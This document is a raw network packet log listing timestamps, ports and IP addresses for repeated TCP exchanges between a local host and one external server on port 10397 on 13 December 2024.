Dec 13, 2024 12:33:09.007114887 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:09.127002954 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:09.127233028 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:09.247380018 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:09.247513056 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:09.367973089 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:09.368232965 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:09.488111019 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:09.488185883 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:09.607822895 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:09.612142086 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:09.731849909 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:09.732152939 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:09.852178097 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:09.855454922 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:09.975203037 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:09.975334883 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:10.095218897 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:10.095338106 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:10.215112925 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:10.215329885 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:10.335366011 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:10.339076996 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:10.459088087 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:10.459501982 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:10.580076933 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:10.581017971 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:10.701661110 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:10.702440023 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:10.823399067 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:10.826337099 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:10.946149111 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:10.946244955 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:11.067584038 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:11.067662954 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:11.187644005 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:11.188150883 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:11.308897972 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:11.309046984 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:11.429032087 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:11.429171085 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:11.548964977 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:11.549072027 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:11.668780088 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:11.668873072 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:11.788861990 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:11.788989067 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:11.908855915 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:11.908996105 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:12.028780937 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:12.028873920 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:12.149669886 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:12.149751902 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:12.269697905 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:12.269778013 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:12.389672041 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:12.389765024 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:12.509651899 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:12.510313988 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:12.630095005 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:12.630300999 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:12.750228882 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:12.751025915 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:12.870795965 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:12.874392033 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:12.994198084 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:12.996931076 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:13.119818926 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:13.121588945 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:13.241612911 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:13.244151115 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:13.363883972 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:13.363977909 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:13.485027075 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:13.488198996 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:13.608097076 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:13.609335899 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:13.729263067 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:13.729399920 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:13.849370003 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:13.850490093 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:13.970308065 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:13.970427036 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:14.090287924 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:14.094643116 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:14.214499950 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:14.214654922 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:14.334732056 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:14.335839033 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:14.455890894 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:14.456018925 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:14.575890064 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:14.576077938 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:14.696605921 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:14.697616100 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:14.818027020 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:14.818118095 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:14.938396931 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:14.938600063 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:15.058572054 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:15.058657885 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:15.178582907 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:15.178700924 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:15.298588991 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:15.298662901 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:15.419275999 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:15.419368982 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:15.539134979 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:15.539679050 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:15.660846949 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:15.660948992 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:15.781243086 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:15.783144951 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:15.903017998 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:15.906358004 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:16.026222944 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:16.217268944 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:16.337110996 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:16.338821888 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:16.458723068 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:16.458797932 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:16.578775883 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:16.578859091 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:16.698765993 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:16.698832989 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:16.819094896 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:16.819353104 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:16.981383085 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:16.981458902 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:17.185465097 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:17.185538054 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:17.433474064 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:17.435466051 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:17.681447029 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:17.681531906 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:17.929574966 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:17.932164907 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:18.177311897 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:18.177409887 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:18.421941042 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:18.422049999 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:18.669960022 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:18.670180082 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:18.917483091 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:19.122932911 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:19.242897034 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:19.242985010 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:19.362844944 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:19.362953901 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:19.482688904 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:19.482775927 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:19.602674961 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:19.602787018 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:19.722507000 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:19.722568989 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:19.842474937 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:19.842624903 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:19.963243008 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:19.964287996 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:20.084033012 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:20.084386110 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:20.204220057 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:20.204678059 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:20.324628115 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:20.324897051 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:20.448410988 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:20.452157021 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:20.571985960 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:20.572098017 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:20.692476988 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:20.693281889 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:20.813328028 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:20.816214085 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:20.936125994 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:20.940232992 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:21.060028076 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:21.060199022 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:21.401928902 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:21.402189970 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:21.605546951 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:21.608422995 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:21.853348017 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:21.854286909 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:22.105614901 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:22.105703115 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:22.353370905 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:22.353454113 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:22.605370045 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:22.605454922 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:22.849313974 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:22.849436045 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:23.097445965 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:23.097542048 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:23.341442108 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:23.341532946 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:23.589329004 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:23.589478970 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:23.833475113 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:23.835376024 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:24.084084988 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:24.084219933 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:24.329603910 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:24.330607891 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:24.577532053 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:24.577584982 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:24.821578026 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:24.821661949 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:25.069418907 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:25.069513083 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:25.321482897 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:25.321618080 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:25.573385000 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:25.575048923 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:25.821383953 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:25.822913885 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:26.069480896 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:26.070664883 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:26.317430019 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:26.319355011 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:26.565361023 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:26.565459013 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:26.809349060 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:26.809616089 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:27.054462910 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:27.060290098 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:27.309400082 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:27.309473038 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:27.553335905 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:27.553467989 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:27.797466993 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:27.797548056 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:28.045388937 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:28.045490980 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:28.289434910 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:28.289552927 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:28.537380934 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:28.540210009 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:28.785648108 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:28.785747051 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:29.033457994 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:29.033596039 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:29.281461954 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:29.283390999 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:29.529392004 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:29.529475927 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:29.773410082 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:29.773535013 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:30.017812967 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:30.017959118 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:30.265367031 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:30.272171974 CET	49887	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:30.315634012 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:30.391978979 CET	10397	49887	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:32.327105045 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:32.447139978 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:32.447222948 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:32.449666977 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:32.569506884 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:32.569578886 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:32.689618111 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:33.238257885 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:33.358114004 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:33.358169079 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:33.478218079 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:33.478302956 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:33.711628914 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:33.712085009 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:33.962379932 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:33.962460041 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:34.082207918 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:34.082309961 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:34.202058077 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:34.204324961 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:34.325037003 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:34.325480938 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:34.445530891 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:34.447490931 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:34.567236900 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:34.568147898 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:34.690006018 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:34.690099955 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:34.809906006 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:34.812143087 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:34.932007074 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:34.932120085 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:35.052115917 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:35.052203894 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:35.171997070 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:35.172066927 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:35.291851997 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:35.291950941 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:35.411696911 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:35.411778927 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:35.533994913 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:35.534058094 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:35.655282974 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:35.655436993 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:35.775377989 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:35.775670052 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:35.895577908 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:35.898823023 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:36.019864082 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:36.022605896 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:36.152350903 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:36.154858112 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:36.274653912 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:36.274728060 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:36.395596027 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:36.398917913 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:36.518805981 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:36.522866964 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:36.642757893 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:36.646639109 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:36.766473055 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:36.766550064 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:36.886401892 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:36.886461020 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:37.006337881 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:37.006769896 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:37.126831055 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:37.126971960 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:37.246851921 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:37.246931076 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:37.366744041 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:37.367762089 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:37.487550974 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:37.487783909 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:37.607570887 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:37.607639074 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:37.727823973 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:37.727905989 CET	49941	10397	192.168.2.5	147.185.221.224
Dec 13, 2024 12:33:37.847811937 CET	10397	49941	147.185.221.224	192.168.2.5
Dec 13, 2024 12:33:37.847889900 CET	49941	10397	192.168.2.5	147.185.221.224
